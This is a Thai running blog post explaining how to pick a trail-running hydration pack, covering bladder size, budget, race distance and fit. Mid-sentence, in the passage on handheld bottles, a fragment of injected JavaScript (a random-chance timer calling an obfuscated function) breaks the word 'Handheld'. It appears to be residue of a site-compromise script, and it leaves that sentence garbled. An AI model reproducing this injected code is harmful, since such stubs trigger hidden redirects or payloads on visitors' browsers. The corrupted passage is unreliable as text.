• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Gadget Tips

วิธีเลือก Running Hydration Pack

stepextra by stepextra
9 May 2018
in Gadget Tips, Running Tips, Tips & Technics
0
วิธีเลือก Running Hydration Pack
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เพราะต้องเดินเท้า บุกป่าฝ่าเขา แบกน้ำเป็นร้อยๆ ลิตร และสร้างจุดบริการน้ำไว้กลางป่า การวิ่งเทรลจึงไม่สะดวกต่อการตั้งจุดบริการให้น้ำ (water station) ได้ถี่ๆ เหมือนการวิ่งในพื้นที่เมือง พื้นที่ชุมชนทั่วไปที่สามารถตั้งได้ทุกระยะ 2 กิโลเมตร ทำให้นักวิ่งสายเทรลเกือบทุกคนจึงมี Running hydration pack เป็นของตัวเอง

Running hydration pack อุปกรณ์เสริมที่ขาดไม่ได้เลยสำหรับนักวิ่งเทรลหรือแม้แต่นักวิ่งระยะทางไกล 25, 50 กิโลเมตรจนไปถึง ultra (100 ไมล์) โดยส่วนประกอบหลักของกระเป๋านี้จะมี…

  1. ตัวกระเป๋าสะพาย (Vest) ดูๆ ไป วัสดุเนื้อผ้าที่ทำจะคล้ายๆ กับเป๋เดินป่า แต่จะถูกออกแบบให้มีความยืดหยุ่น ระบายอากาศและน้ำได้ดี บางเบา เนื้อที่ไม่เยอะ ใส่ของได้ไม่กี่อย่าง ทั้งนี้เพื่อต้องการให้มีน้ำหนักน้อยที่สุด มีสายรัดและยางยืดหรือวัสดุเนื้อผ้าที่ยืดหดตัวได้ เวลาใส่จะได้กระชับเข้ารูปตัวผู้วิ่งไม่ส่ายไปมา
  2. Hydration bladder หรือถุงใส่น้ำ ตามท้องตลาดในเมื่อไทยจะมีขนาด 1-2 ลิตร มีท่อเชื่อมต่อกับถุงน้ำด้วย เพิ่มสะดวกเวลาดื่มกิน
  3. Extra pocket ช่องใส่ของเพิ่มเติม เป็นหนึ่งในเอกลักษณ์ของ Running hydration pack สังเกตได้ว่าสายพาดไหล่ด้านหน้าจะมีช่องให้ใส่กระติกน้ำเพิมเติม หรือช่องใส่อุปกรณ์อื่นๆ อย่าง Powergel และมือถือ เป็นต้น
dolomites-trailrunning-altavia1
www.holimites.com/en/trailrunning

แม้เจ้า Running hydration pack จะเป็นที่นิยมแต่เรายังมีตัวเลือกอื่นๆ สำหรับนักวิ่งที่ประสงค์จะพกพาน้ำดื่มไปขณะวิ่งด้วย อย่างเช่น สายคาดเอวที่มีช่องเสียบกระติกน้ำขนาดเล็ก (hydration belt) และกระติกน้ำแบบเสียบเขากับฝ่ามือ (Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andheld water bottle)

วิธีการเลือกสามารถดูพิจารณาได้จาก…

1. งบประมาณของนักวิ่ง

ราคาของเจ้า Running hydration pack เริ่มจาก 1,000 บาทขึ้นไปจนถึง 5,000+ บาท อยากให้ผู้วิ่งควรตั้งงบประมาณตัวเองไว้ก่อนว่างบเรามีเท่าไหร และเท่าที่รู้ว่าถ้าอยากได้แบบเป้สะพายหลังต้องตั้งงบไว้ประมาณ 3,000+ นะครับ (แต่ได้ข่าวว่าบริษัท Vincita มีรุ่นหนึ่งขายอยู่ประมาณ 1,000 บาท)

2. ระยะทางแข่งขัน

ปริมาณน้ำที่พกพานั้นจะแปรตามระยะทางของการแข่งขัน ยิ่งระยะไกลมากขึ้น น้ำที่ต้องใช้ดื่มกินก็จะมากตาม นักวิ่งสามารถเลือกขนาดปริมาตรของกระติกน้ำหรือ bladder ที่จะพกพาได้ตั้งแต่ขนาดมิลลิลิตรไปจนถึงลิตร หรือจะเพิ่มจำนวนกระติกน้ำก็ได้

UltrAspire-Reservoir-Bladder-With-Package-2-Liter-300x300

 

โดยทั่วไปจะนิยมใช้ bladder ขนาด 2L ครอบคลุมทุกการแข่ง เพราะราคาต่างจากขนาด 1L ไม่กี่ร้อยบาท ถ้าอยากให้เบาก็ใส่น้ำแค่ครึ่งหนึ่งแล้วเติมใหม่ แต่การเติมน้ำจะทำได้ช้ากว่าแบบกระติก เพราะต้องเปิดกระเป๋าดึงออกมา นักวิ่งบางท่านจึงใช้กระติกน้ำอ่อนๆ ( Soft Water bottle) ปริมาตร 500 กรัมโดยทั่วไป เพื่อบีบน้ำได้ง่าย ใส่ไว้ที่ช่องด้านหน้าสายพาดไหล่ หรือมีแบบพิเศษที่เรียกว่า Collapsible Bottle กระติกใส่น้ำที่สามารถพับได้ เบาและประหยัดเนื้อที่ นิยมพกพาไว้ 2 อัน

WAA-Ultra-Flask-300x300

ระยะทางที่วิ่งในบ้านเราตามมาตรฐานก็อยู่ที่ 10-25-50 กิโลเมตร รายการใหญ่ๆ ก็ Ultra 100 ไมล์ นักวิ่งก็นิยมใช้ bladder 2L หรือกระติกน้ำขนาด 500 ml 2 อัน ก็สามารถวิ่งจบงานได้ครับ

3. Fit

แนะนำว่านักวิ่งทุกท่านควรจะทำการทดลองส่วมใส่ Running hydration pack ด้วยตัวเอง เหมือนกับการเลือกซื้อรองเท้าวิ่งนั้นแหละครับ บางรุ่นบางยี่ห้อฟิตไซด์แต่ละคนต่างกัน ทดลองเลือกรุ่นที่ใส่แล้วเรียบสนิทไปกับแผ่นหลัง กระชับ ไม่มีการ bouncing หรือเด้งขึ้นเด้งลงเวลาวิ่ง เคลื่อนที่ได้คล่องตัว และเช็คดูสายรัดปรับขนาดให้เราสามารถปรับความแน่นหลวมพอดีกับร่างกายเราได้

Nathan-VaporAir-4

4. รายละเอียดย่อยอื่นๆ

รายละเอียดย่อยอื่นหรือพวก feature ที่น่าสนใจอย่างเช่น ความสามารถในการระบายอากาศ ระบายน้ำ สายพาดไหล่นุ่มสบาย ไม่ขัดสีกับผิวหนัง กระเป๋าด้านหลังระบายอากาสดีมั้ย มีแผ่นเสริมสำหรับใส่น้ำแข็ง หรือมีฉนวนกันความร้อนให้กับ bladder ด้วยมั้ย รวมทั้งช่องใส่ของต่างๆ เพิ่มเติม

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • เล่นวินด์เซิร์ฟ นั่งชิลริมทะเล ตกเย็น ปาร์ตี้ปิ้งย่าง นอนรถบ้าน ณ tutu beach ริมหาดจอมเทียนพัทยา จ.ชลบุรี

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.